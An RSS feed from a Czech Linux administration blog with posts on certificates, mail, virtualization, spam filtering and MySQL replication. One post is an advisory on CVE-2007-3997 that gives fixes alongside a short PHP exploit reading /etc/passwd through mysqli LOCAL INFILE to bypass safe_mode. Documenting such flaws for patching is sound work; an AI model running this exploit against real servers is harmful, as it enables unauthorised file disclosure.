<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hodžův blog &#187; Služby</title>
	<atom:link href="http://hodza.net/category/linux/sluzby/feed/" rel="self" type="application/rss+xml" />
	<link>http://hodza.net</link>
	<description>I přestože jsem paranoidní neznamená, že mě nedostanou...</description>
	<lastBuildDate>Wed, 08 Sep 2010 11:37:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Generování Self-Signed Certifikátu skriptem</title>
		<link>http://hodza.net/2009/06/09/generovani-self-signed-certifikatu-skriptem/</link>
		<comments>http://hodza.net/2009/06/09/generovani-self-signed-certifikatu-skriptem/#comments</comments>
		<pubDate>Tue, 09 Jun 2009 07:23:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Scriptíky]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=245</guid>
		<description><![CDATA[Už mě to nebaví pořád psát, takže: #!/bin/bash SERVER_NAME=$1 OPENSSL_PATH=/usr/bin/openssl $OPENSSL_PATH genrsa -des3 -out $SERVER_NAME.key 1024 $OPENSSL_PATH genrsa -out $SERVER_NAME.key 1024 $OPENSSL_PATH rsa -in $SERVER_NAME.key -out $SERVER_NAME.pem $OPENSSL_PATH req -new -key $SERVER_NAME.pem -out $SERVER_NAME.csr $OPENSSL_PATH x509 -req -days 365 -in $SERVER_NAME.csr -signkey $SERVER_NAME.pem -out $SERVER_NAME.crt]]></description>
			<content:encoded><![CDATA[<p>Už mě to nebaví pořád psát, takže:</p>
<p><code>#!/bin/bash<br />
SERVER_NAME=$1<br />
OPENSSL_PATH=/usr/bin/openssl<br />
$OPENSSL_PATH genrsa -des3 -out $SERVER_NAME.key 1024<br />
$OPENSSL_PATH genrsa -out $SERVER_NAME.key 1024<br />
$OPENSSL_PATH rsa -in $SERVER_NAME.key -out $SERVER_NAME.pem<br />
$OPENSSL_PATH req -new -key $SERVER_NAME.pem -out $SERVER_NAME.csr<br />
$OPENSSL_PATH x509 -req -days 365 -in $SERVER_NAME.csr -signkey $SERVER_NAME.pem -out $SERVER_NAME.crt<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2009/06/09/generovani-self-signed-certifikatu-skriptem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Jak znovu poslat zprávy z MailDiru?</title>
		<link>http://hodza.net/2009/06/03/jak-znovu-poslat-zpravy-z-maildiru/</link>
		<comments>http://hodza.net/2009/06/03/jak-znovu-poslat-zpravy-z-maildiru/#comments</comments>
		<pubDate>Wed, 03 Jun 2009 09:24:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Smtp]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=239</guid>
		<description><![CDATA[Dnes mě zákazník poprosil o přeposlání všech emailů na druhou doménu. Standardně bych to řešil pomocí scriptu ImapSync, ale protože jsem neznal heslo na cílovém serveru vymyslel jsem řešení jednodušší a lepší. Stačí se přihlásit na server, kde jsou uložené zprávy ve formátu MailDir a pak spustit příkaz: for f in `ls`; do sendmail example@example.com [...]]]></description>
			<content:encoded><![CDATA[<p>Dnes mě zákazník poprosil o přeposlání všech emailů na druhou doménu. Standardně bych to řešil pomocí scriptu <a href="http://freshmeat.net/projects/imapsync/">ImapSync</a>, ale protože jsem neznal heslo na cílovém serveru vymyslel jsem řešení jednodušší a lepší.</p>
<p>Stačí se přihlásit na server, kde jsou uložené zprávy ve formátu MailDir a pak spustit příkaz:<br />
<code>for f in `ls`; do sendmail example@example.com &lt;$f; done</code><br />
Veškeré emaily v aktuální složce se tím přeposšlou na adresu example@example.com.</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2009/06/03/jak-znovu-poslat-zpravy-z-maildiru/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VMware Server console &amp; Ubuntu Hardy Herron</title>
		<link>http://hodza.net/2008/11/03/vmware-server-console-ubuntu-hardy-herron/</link>
		<comments>http://hodza.net/2008/11/03/vmware-server-console-ubuntu-hardy-herron/#comments</comments>
		<pubDate>Mon, 03 Nov 2008 07:28:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[virtualizace]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=221</guid>
		<description><![CDATA[Po nainstalovaání VMware Server console v Hardym mě vždy trápí chybové hlášení: # vmware-server-console /usr/lib/vmware-server-console/bin/vmware-server-console: /usr/lib/vmware-server-console lib/libgcc_s.so.1/libgcc_s.so.1: version `GCC_3.4' not found (required by /usr/lib/libcairo.so.2) /usr/lib/vmware-server-console/bin/vmware-server-console: /usr/lib/vmware-server-console/lib/libgcc_s.so.1/libgcc_s.so.1: version `GCC_4.2.0' not found (required by /usr/lib/libstdc++.so.6) Pomoc je přitom velice jednoduchá: # sudo ln -sf /usr/lib/libpng12.so.0 /usr/lib/vmware-server-console/lib/libpng12.so.0/libpng12.so.0 # sudo ln -sf /lib/libgcc_s.so.1 /usr/lib/vmware-server-console/lib/libgcc_s.so.1/libgcc_s.so.1]]></description>
			<content:encoded><![CDATA[<p>Po nainstalovaání VMware Server console v Hardym mě vždy trápí chybové hlášení:</p>
<p><code># vmware-server-console<br />
/usr/lib/vmware-server-console/bin/vmware-server-console: /usr/lib/vmware-server-console lib/libgcc_s.so.1/libgcc_s.so.1: version `GCC_3.4' not found (required by /usr/lib/libcairo.so.2)<br />
/usr/lib/vmware-server-console/bin/vmware-server-console: /usr/lib/vmware-server-console/lib/libgcc_s.so.1/libgcc_s.so.1: version `GCC_4.2.0' not found (required by /usr/lib/libstdc++.so.6)</code></p>
<p>Pomoc je přitom velice jednoduchá:<br />
<code><br />
# sudo ln -sf /usr/lib/libpng12.so.0 /usr/lib/vmware-server-console/lib/libpng12.so.0/libpng12.so.0<br />
# sudo ln -sf /lib/libgcc_s.so.1 /usr/lib/vmware-server-console/lib/libgcc_s.so.1/libgcc_s.so.1<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2008/11/03/vmware-server-console-ubuntu-hardy-herron/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Alpine a IMAP</title>
		<link>http://hodza.net/2008/08/04/alpine-a-imap/</link>
		<comments>http://hodza.net/2008/08/04/alpine-a-imap/#comments</comments>
		<pubDate>Mon, 04 Aug 2008 09:02:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Služby]]></category>
		<category><![CDATA[Smtp]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=141</guid>
		<description><![CDATA[Již dlouhou dobu si pohrávám s myšlenkou, že se od Mozilly Thunderbird vrátím zpět k emailovému klientovi (al)pine. Důvodem je především rychlost. Ta mi u Thunderbirdu subjektivně přijde stále horší a to i přes fakt, že k práci používám zásadně protokol IMAP. Po koupi nového subnotebooku MSI WIND mě navíc začala štvát &#8222;roztahanost&#8220; celého GUI. [...]]]></description>
			<content:encoded><![CDATA[<p>Již dlouhou dobu si pohrávám s myšlenkou, že se od <a title="Mozilla Thunderbird" href="http://www.czilla.cz/produkty/thunderbird/">Mozilly Thunderbird</a> vrátím zpět k emailovému klientovi (<a title="Alpine" href="http://www.washington.edu/alpine/">al</a>)<a title="Pine" href="http://www.washington.edu/pine/">pine</a>. Důvodem je především rychlost. Ta mi u Thunderbirdu subjektivně přijde stále horší a to i přes fakt, že k práci používám zásadně protokol IMAP. Po koupi nového subnotebooku MSI WIND mě navíc začala štvát &#8222;roztahanost&#8220; celého GUI. Při použití i těch nejmenších písmen a ikon bez popisku si mohu přečíst sotva prvních pár řádků z celého emailu (a to jsem navíc ošizen o podstatnou část hlaviček). Kapitolou sama pro sebe je náročnost na paměť a výkon procesoru.</p>
<p><span id="more-141"></span></p>
<p>Pine jsem používal před několika lety společně s <a title="Fetchmail" href="http://fetchmail.berlios.de/">fetchmailem</a>. To už by byl dnes problém, neboť potřebuji mít k poště mobilní přístup odkudkoliv (můj mail box čítá více jak 10 000 emailů) a tak jsem začal pátrat, zda-li existuje možnost používat nativně <a title="IMAP" href="http://cs.wikipedia.org/wiki/Internet_Message_Access_Protocol">IMAP</a>. Naštěstí existuje!</p>
<p>První co bylo potřeba udělat je vyměnit starý a dnes již nevyvíjený <a title="Pine" href="http://www.washington.edu/pine/">Pine</a> za <a title="Alpine" href="http://www.washington.edu/alpine/">Alpine</a>. Jako betatester mi posloužil<a title="Blog Ivana Bíbra" href="http://www.bibri.net/"> Ivan Bíbr</a> &#8211; <a title="urpme pine" href="http://www.bibri.net/2008/06/29/urpme-pine/">více na jeho blogu</a>. Ovládání i konfigurační soubory jsou naštěstí stejné, takže mi nečinilo problém Alpine naohýbat k obrazu svému. Dále jsem pokračoval úpravou konfiguračního souboru .pinerc v domovském adresáři.</p>
<p><code>$ vi ~/.pinerc</code></p>
<p>V souboru .pinerc jsem upravil konfigurační volby &#8222;<strong>smtp-server</strong>&#8222;, &#8222;<strong>inbox-path</strong>&#8220; a &#8222;<strong>feature-list</strong>&#8220; na následující:</p>
<p><em>Pozn.: Jednotlivé volby je samozřejmě možné &#8222;naklikat&#8220; přes menu Alpine, ale takhle mi to přijde jednodušší.</em></p>
<p><code>smtp-server=smtp.example.com<br />
inbox-path={mail.example.com/user=test@test.com/ssl/novalidate-cert}INBOX<br />
feature-list=enable-incoming-folders</code></p>
<p>Ve výše uvedeném příkladu jsem předpokládal, že:<br />
SMTP server je: smtp.example.com<br />
IMAP server je: mail.example.com<br />
Přihlašovací jméno je: test@test.com<br />
K serveru se připojujeme pomocí SSL via self-signed certifikát</p>
<p>Protože Alpine defaultně pracuje s lokálně uloženými složkami, bylo potřeba ho ještě naučit pracovat přímo s IMAPem. postup je velice jednoduchý:</p>
<p><code>$ alpine<br />
Zmáčkneme S (Setup)<br />
Zmáčkneme L (collectionLists)<br />
Zmáčkneme A (Add Client)</code></p>
<p>Vyplníme:<br />
<code>Nickname : IMAP složky<br />
Server : mail.example.com/user=test@test.com/ssl/novalidate-cert<br />
Path : INBOX.<br />
View :</code></p>
<p>Nakonec zmáčkneme klávesu CTRl+x pro uložení změn</p>
<p>Tak a je hotovo &#8211; můžu používat IMAP!</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2008/08/04/alpine-a-imap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP</title>
		<link>http://hodza.net/2007/10/15/php/</link>
		<comments>http://hodza.net/2007/10/15/php/#comments</comments>
		<pubDate>Mon, 15 Oct 2007 11:10:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Hack/Crack]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=23</guid>
		<description><![CDATA[První díl, ze &#8222;seriálu o bezpečnosti&#8220;, aneb tuníme náš server&#8230; Vztahuje se k: &#60; = PHP 5.2.3 &#60;= PHP 4.4.7 CVE: CVE-2007-3997 Problém: Díky rozšířením MySQL a MySQLi v PHP lze obejít bezpečnostní politiku safe_mode. Detail: Pomocí funkce MySQL LOCAL INFILE lze získat libovolný soubor ze systému. Řešení: 1) Kompilovat MySQL klienta s parametrem &#8222;&#8211;disable-local-infile&#8220; [...]]]></description>
			<content:encoded><![CDATA[<p>První díl, ze &#8222;seriálu o bezpečnosti&#8220;, aneb tuníme náš server&#8230;</p>
<p><span id="more-23"></span></p>
<p><strong>Vztahuje se k:</strong><br />
&lt; = PHP 5.2.3<br />
&lt;= PHP 4.4.7</p>
<p><strong>CVE:</strong><br />
CVE-2007-3997</p>
<p><strong>Problém:</strong><br />
Díky rozšířením MySQL a MySQLi v PHP lze obejít bezpečnostní politiku safe_mode.</p>
<p><strong>Detail:</strong><br />
Pomocí funkce MySQL LOCAL INFILE lze získat libovolný soubor ze systému.</p>
<p><strong>Řešení:</strong><br />
1) Kompilovat MySQL klienta s parametrem &#8222;&#8211;disable-local-infile&#8220;<br />
- nepomůže při použití MySQLi, neboť volba se dá znovu povolit příkazem &#8222;mysqli-&gt;options(MYSQLI_OPT_LOCAL_INFILE, 1);&#8220;<br />
2) Do konfiguračního souboru (/etc/mysql/my.cnf) vložit (do sekce [mysqld]) &#8222;set-variable=local-infile=0&#8243;.</p>
<p><strong>Exploit:</strong><br />
function r($fp, &amp;$buf, $len, &amp;$err) {print fread($fp, $len);}<br />
$m = new mysqli(&#8216;localhost&#8217;, &#8216;aaaa&#8217;, &#8220;, &#8216;a&#8217;);<br />
$m-&gt;options(MYSQLI_OPT_LOCAL_INFILE, 1);<br />
$m-&gt;set_local_infile_handler(&#8222;r&#8220;);<br />
$m-&gt;query(&#8222;LOAD DATA LOCAL INFILE &#8216;/etc/passwd&#8217; INTO TABLE a.a&#8220;);<br />
$m-&gt;close();</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2007/10/15/php/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>VirtualBox &amp; Ubuntu 7.04 (feisty)</title>
		<link>http://hodza.net/2007/09/04/virtualbox-ubuntu-704-feisty/</link>
		<comments>http://hodza.net/2007/09/04/virtualbox-ubuntu-704-feisty/#comments</comments>
		<pubDate>Tue, 04 Sep 2007 11:18:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Distribuce]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[virtualizace]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=72</guid>
		<description><![CDATA[VirtualBox je virtualizační nástroj využitelný pro spuštění hostovaného operačního systému uvnitř hostitelského systému. Instalaci lze provést buďto stažením a zkompilováním zdrojových kódů nebo pomocí předkompilovaných balíčků pro jednotlivé distribuce (jen v komerční verzi). V tomto návodu vám předvedu druhou ze jmenovaných možností. Před samotnou instalací VirtualBoxu je nutné přidat do APT (soubor sources.list) k základním [...]]]></description>
			<content:encoded><![CDATA[<p>VirtualBox je virtualizační nástroj využitelný pro spuštění hostovaného operačního systému uvnitř hostitelského systému.</p>
<p>Instalaci lze provést buďto stažením a zkompilováním zdrojových kódů nebo pomocí předkompilovaných balíčků pro jednotlivé distribuce (jen v komerční verzi). V tomto návodu vám předvedu druhou ze jmenovaných možností.<br />
<span id="more-72"></span><br />
Před samotnou instalací VirtualBoxu je nutné přidat do APT (soubor sources.list) k základním zdrojům také zdroje <em>universe</em> a <em>multiverse</em>.<br />
<code>#sudo vi /etc/apt/sources.list<br />
deb http://cz.archive.ubuntu.com/ubuntu/ feisty main restricted<br />
deb-src http://cz.archive.ubuntu.com/ubuntu/ feisty main restricted<br />
deb http://cz.archive.ubuntu.com/ubuntu/ feisty-updates main restricted<br />
deb-src http://cz.archive.ubuntu.com/ubuntu/ feisty-updates main restricted<br />
deb http://cz.archive.ubuntu.com/ubuntu/ feisty universe<br />
deb-src http://cz.archive.ubuntu.com/ubuntu/ feisty universe<br />
deb http://cz.archive.ubuntu.com/ubuntu/ feisty multiverse<br />
deb-src http://cz.archive.ubuntu.com/ubuntu/ feisty multiverse<br />
deb http://cz.archive.ubuntu.com/ubuntu/ feisty-backports main restricted universe multiverse<br />
deb-src http://cz.archive.ubuntu.com/ubuntu/ feisty-backports main restricted universe multiverse<br />
deb http://security.ubuntu.com/ubuntu feisty-security main restricted<br />
deb-src http://security.ubuntu.com/ubuntu feisty-security main restricted<br />
deb http://security.ubuntu.com/ubuntu feisty-security universe<br />
deb-src http://security.ubuntu.com/ubuntu feisty-security universe<br />
deb http://security.ubuntu.com/ubuntu feisty-security multiverse<br />
deb-src http://security.ubuntu.com/ubuntu feisty-security multiverse<br />
deb http://packages.medibuntu.org/ feisty free non-free</code></p>
<p>Pokud použijete můj sources.list, bude potřeba ještě naimportovat klíč pro repozitář <em>mediubuntu</em>.<br />
<code>wget -q http://packages.medibuntu.org/medibuntu-key.gpg -O- | sudo apt-key add -</code></p>
<p>Nainstalujeme nezbytné balíky pro běh VirtualBoxu (XSLT Procesror, XML parser a QT Gui)<br />
<code>sudo apt-get install libxalan110 libxerces27 libqt3-mt</code></p>
<p>Stáhneme aktuální verzi VirtualBoxu<br />
<code>wget http://www.virtualbox.org/download/1.5.0/virtualbox_1.5.0-24069-1_Ubuntu_feisty_i386.deb</code></p>
<p>Nainstalujeeme ji<br />
<code>sudo dpkg -i virtualbox_1.5.0-24069-1_Ubuntu_feisty_i386.deb</code></p>
<p>Nastavíme sprábná práva na zařízení /dev/vboxdrv<br />
<code>sudo chmod 666 /dev/vboxdrv</code></p>
<p>Přidáme uživatele pod kterým pracujeme do skupiny vboxusers<br />
<code>sudo usermod -G vboxusers -a uživatel</code></p>
<p>Nezapomeneme se odhlásit a znovu přihlásit (znovunačtení práv)</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2007/09/04/virtualbox-ubuntu-704-feisty/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Antispam na pdf a xls soubory</title>
		<link>http://hodza.net/2007/08/10/antispam-na-pdf-a-xls-soubory/</link>
		<comments>http://hodza.net/2007/08/10/antispam-na-pdf-a-xls-soubory/#comments</comments>
		<pubDate>Fri, 10 Aug 2007 07:43:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Scriptíky]]></category>
		<category><![CDATA[Služby]]></category>
		<category><![CDATA[Smtp]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=70</guid>
		<description><![CDATA[O PDF spamu jste se mohli dočíst například na stránkách Lupy ve článku Dokumenty PDF, o které nikdo nestojí. Přestože si myslím, že PDF spam nebude mít dlouhou budoucnost, je potřeba s ním bojovat. Už kdysi dávno jsem do svých serverů doinstaloval OCR plugin. Ten doposud funguje poměrně spolehlivě. Je však nutno říct, že kvůli [...]]]></description>
			<content:encoded><![CDATA[<p>O PDF spamu jste se mohli dočíst například na stránkách <a href="http://www.lupa.cz" title="Server o ceskem internetu">Lupy</a> ve článku <a href="http://www.lupa.cz/clanky/spz-2007-spam-pres-pdf/" title="Dokumenty PDF, o které nikdo nestojí">Dokumenty PDF, o které nikdo nestojí.</a> Přestože si myslím, že PDF spam nebude mít dlouhou budoucnost, je potřeba s ním bojovat. Už kdysi dávno jsem do svých serverů doinstaloval OCR plugin. Ten doposud funguje poměrně spolehlivě. Je však nutno říct, že kvůli výkonu se scanuji pouze obrázkové emaily, které prošli SpamAssasinem &#8222;bez ztráty květinky&#8220; <span id="more-70"></span> (to se mi doposud docela dařilo díky sadám pravidel z <a href="http://www.rulesemporium.com/" title="SpamAssassin Rules Emporium">rulesemporium.com</a>). Bohužel spameři jsou neskutečně vynalézaví lidé a tak postupem času zjišťuji, že čím dál tím více obrázkových emailů je nutno prohánět OCR-kem (a zatěžovat tak systém). Naštestí se našlo několik nadšenců, kteří obrázky sbírají a provozují distribuovanou databázi &#8222;spam obrázků&#8220; a jiných &#8222;sraček&#8220;. Instalace je více než triviální:</p>
<p>Nejprve si stáhneme script, který se stará o pravidelný update ClamAVu (a nastavíme mu práva pro spuštění)<br />
<code>cd /usr/bin<br />
wget http://www.sanesecurity.co.uk/clamav/ss-msrbl.sh<br />
chmod +x ss-msrbl.sh</code></p>
<p>V dalším kroku upravíme některé parametry podle systému (u mě například)<br />
<code># vi ss-msrbl.sh<br />
clamscan="/usr/bin/clamdscan"<br />
clam_sigs="/var/clamav"<br />
clam_user="clamav"</code></p>
<p>Na konec script spustíme<br />
<code>./ss-msrbl.sh</code></p>
<p>V případě, že je vše ok (tail /var/log/clamav/clamd.log, tail /var/log/clamav/freshclam.log ), nezbývá nám nic jiného, než celý proces zautomatizovat pomocí cronu.<br />
<code># crontab -e<br />
59 04 * * * /usr/bin/ss-msrbl.sh &amp;&gt; /dev/null<br />
</code></p>
<p>Po týdením sledování můžu konstatovat, že počet obrázků, které prolezli SpamAssassinem, ale nedostali se díky výše uvedenému filtru do OCR je 22,5%, což mi přijde jako docela velké číslo.</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2007/08/10/antispam-na-pdf-a-xls-soubory/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Replikace MySQL</title>
		<link>http://hodza.net/2007/04/17/replikace-mysql/</link>
		<comments>http://hodza.net/2007/04/17/replikace-mysql/#comments</comments>
		<pubDate>Tue, 17 Apr 2007 14:29:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Služby]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=60</guid>
		<description><![CDATA[Pokud stejně jako já budete používat datbázi s několika tisíci uživateli, postupem času zjistíte, že pouhé on-line backupy MySQL nestačí a je potřeba replikovat. Důvodů může být hned několik &#8211; od velkého loadu primární MySQL až po potřebu provozovat relativně aktuální kopie databází na jiném místě. Mě osobně se týkají obě situce. V prvním případě [...]]]></description>
			<content:encoded><![CDATA[<p>Pokud stejně jako já budete používat datbázi s několika tisíci uživateli, postupem času zjistíte, že pouhé on-line backupy MySQL nestačí a je potřeba replikovat. Důvodů může být hned několik &#8211; od velkého loadu primární MySQL až po potřebu provozovat relativně aktuální kopie databází na jiném místě.</p>
<p><span id="more-60"></span></p>
<p>Mě osobně se týkají obě situce. V prvním případě jsem potřeboval snížit load datbáze o kterou se dělí hned několik služeb (Radius, SMTP AUTH, stistiky provozu apod.). Ve druhém případě jsem se rozhodl alespoň pro velké uzly postavit samostatné radius servery (s replikovanou databází klientů) které budou vždy připraveny v případě výpadku parentích serverů.<br />
<strong><br />
Jak na to?</strong><br />
Na hlavním stroji, ze kterého budeme databázi replikovat musíme nastavit v hlavním konfiguračním souboru MySQL (<em>obvykle /etc/mysql.conf</em>) &#8211; konkrétně v sekci <em>[mysqld]</em> následující:</p>
<p><code>#bind-address = 127.0.0.1<br />
log-bin<br />
server-id=1<br />
binlog-do-db = radius<br />
binlog-do-db = conntrack<br />
binlog-ignore-db = mysql<br />
</code></p>
<p>Pokud je to potřeba, bindneme si MySQL klidně na nějakou jinou IP &#8211; ovšem tak ale, aby jsme se na ni z venku dostali.V dalším kroku je potřeba upravit práva pro přístup. To uděláme přes standardní cmd-line utilitu takto:</p>
<p><code>Přihlásíme se k MySQL a zadáme heslo pro root-a<br />
# mysql -u root -p<br />
Nastavíme práva pro replikaci<br />
mysql&gt; GRANT REPLICATION SLAVE ON *.* TO nejaky_uzivatel@stroj IDENTIFIED BY 'nejake_heslo';FLUSH PRIVILEGES;<br />
Opustíme CMD-line utilitu<br />
mysql&gt; quit</code></p>
<p>Nyní se přesuneme na stroj kam budeme replikovat. Opět si otevřeme hlavní konfigurační soubor mysql a do sekce <em>[mysqld] </em>přidáme totók:</p>
<p><code>server-id = 2<br />
master-host = ip_adresa_hlavni_mysql<br />
master-user=nejky_uzivatel<br />
master-password=nejake_heslo<br />
replicate-do-db=databaze<br />
log-warnings<br />
</code></p>
<p>Položky by měly být jasné, pro jistotu je však vysvětlím. Na první řádek dopíšeme IP adresu mysql ze které budeme replikovat, na druhém řádku napíšeme, pod kterým uživatelem a nakonec jakým heslem. Položka server-id značí <strong>UNIKÁTNÍ ID</strong>. Osobně doporučuji používat pro master ID 1, pro prvního slejva ID 2, pro druhého slejva ID 3 atd&#8230;</p>
<p>Co se týče replikace samotné &#8211; verze MySQL serverů by měly sedět. Pokud tomu tak není, doporučuji dát alesoň na master server nižšší verzi MySQL než na slave. Také je vhodné před započetím replikace odstranit &#8222;všechny chyby&#8220; v databázích (a to příkazem mysqlcheck nazev_datbaze -u root -p &#8211;auto-repair). Osobně dělám replikaci z Gentoo Linuxu (MySQL 4.1.21-log) na Ubuntu Linux (MySQL 5.0.24a-Debian_9ubuntu2-log) a nemám jediný problém. Malinká odchylka u různých distribucí obvykle bývá pouze ve výchozích znakových stránkách. Ty velice jednoduše sjednotíte na obou databázových serverech v hlavním konfiguračním souboru například za pomocí následujících parametrů:<br />
<code>character-set-server = utf8<br />
default-character-set = utf8</code></p>
<p>Aktuálně by již pouhým restartem MySQL serverů mohla začít samotná replikace. Bohužel tento proces by trval neúměrně dlouho a tak je lepší nejprve patřičná data z hlavní databáze zkopírovat na slejva. To lze dvěma způsoby a to pomocí příkazu mysqldump a mysqlrestore nebo klasickým cp přes scp (sftp či jiný protokol). Pro ty z Vás, kteří používáte metodu &#8222;drsňák&#8220;, upozorrňuji, že po zkopírování je potřeba opravit přístupová práva (obvykle chown -R mysql:mysql /var/lib/mysql).</p>
<p>Po restartu Mastra i Slejva můžete kontrolovat proces replikace. U mastra za pomocí příkazu <em>SHOW MASTER STATUS;</em>, u slejva pak pomocí<em> SHOW SLAVE STATUS\G</em>. Pokud se slejvovi nechce, zkuste ho popohnat příkazem <em>SLAVE START</em> a nebo <em>LOAD DATA FROM MASTER</em>.</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2007/04/17/replikace-mysql/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Empty jako náhrada za Expect</title>
		<link>http://hodza.net/2007/03/29/empty-jako-nahrada-za-expect/</link>
		<comments>http://hodza.net/2007/03/29/empty-jako-nahrada-za-expect/#comments</comments>
		<pubDate>Thu, 29 Mar 2007 08:11:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Scriptíky]]></category>
		<category><![CDATA[Ssh]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=54</guid>
		<description><![CDATA[Pro ssh přihlašování bez klíčů používám standardně expect (jak už jste se mohli dočíst). Dnes jsem potřeboval implementovat novou funkci a vzhledem k tomu, že se mi ji zrovna dvakrát nechtělo vymýšlet, rozhodl jsem se, že požádám o radu strýčka gůgla. Funkci jsem nenašel, ale zato jsem narazil na projekt empty, jenž je &#8222;obdobou&#8220; expectu. [...]]]></description>
			<content:encoded><![CDATA[<p>Pro ssh přihlašování bez klíčů používám standardně expect <a href="http://hodza.net/2007/02/03/ssh-bez-klicu-aneb-k-cemu-je-ten-expect/" title="SSH bez klíčů">(jak už jste se mohli dočíst)</a>. Dnes jsem potřeboval implementovat novou funkci a vzhledem k tomu, že se mi ji zrovna dvakrát nechtělo vymýšlet, rozhodl jsem se, že požádám o radu strýčka gůgla. Funkci jsem nenašel, ale zato jsem narazil na projekt empty, jenž je &#8222;obdobou&#8220; expectu.</p>
<p><span id="more-54"></span></p>
<p>Finta Fň je v tom, že emty spoští  procesy a apliace pod pseudo terminálem. Co se mi na něm líbí, je jednoduchost. Pro ukázku přikládám  4 scripty z jejich domovské stránky, které se přes telnet přihlásí na stroj a vypíší whoami.</p>
<p>1. script &#8211; v Empty<br />
<code>#!/bin/sh<br />
empty -f -i in -o out telnet foo.bar.com<br />
empty -w -i out -o in "ogin:" "luser\n"<br />
empty -w -i out -o in "assword:" "TopSecret\n"<br />
empty -s -o in "who am i\n"<br />
empty -s -o in "exit\n"</code></p>
<p>2. script &#8211; to samé ale v TCL/Expect<br />
<code>#!/usr/bin/expect<br />
spawn telnet foo.bar.com<br />
expect ogin {send luser\r}<br />
expect assword {send TopSecret\r}<br />
send "who am i\r"<br />
send "exit\r"<br />
expect eof</code></p>
<p>3. script &#8211; to samé, ale jako Perl/expect module<br />
<code>#!/usr/bin/perl<br />
use Expect;<br />
my $exp = Expect-&gt;spawn("telnet foo.bar.com");<br />
$exp-&gt;expect($timeout,<br />
[ 'ogin: $' =&gt; sub {<br />
$exp-&gt;send("luser\n");<br />
exp_continue; }<br />
],<br />
[ 'assword:$' =&gt; sub {<br />
$exp-&gt;send("TopSecret\n");<br />
exp_continue; }<br />
],<br />
'-re', qr'[#&gt;:] $'<br />
);<br />
$exp-&gt;send("who am i\n");<br />
$exp-&gt;send("exit\n");<br />
$exp-&gt;soft_close();</code></p>
<p>4. script &#8211; to samé v Python/Pexpect<br />
<code>#!/usr/local/bin/python<br />
import pexpect<br />
child = pexpect.spawn('telnet foo.bar.com');<br />
child.expect('ogin: ');<br />
child.sendline('luser');<br />
child.expect('assword:');<br />
child.sendline('TopSecret');<br />
child.sendline('who am i');<br />
child.sendline('exit');<br />
child.expect(pexpect.EOF);<br />
print child.before;</code></p>
<p>Tak co &#8211; kterou metodu by jste zvolili?</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2007/03/29/empty-jako-nahrada-za-expect/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apache mod-security</title>
		<link>http://hodza.net/2007/03/21/apache-mod-security/</link>
		<comments>http://hodza.net/2007/03/21/apache-mod-security/#comments</comments>
		<pubDate>Wed, 21 Mar 2007 10:46:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
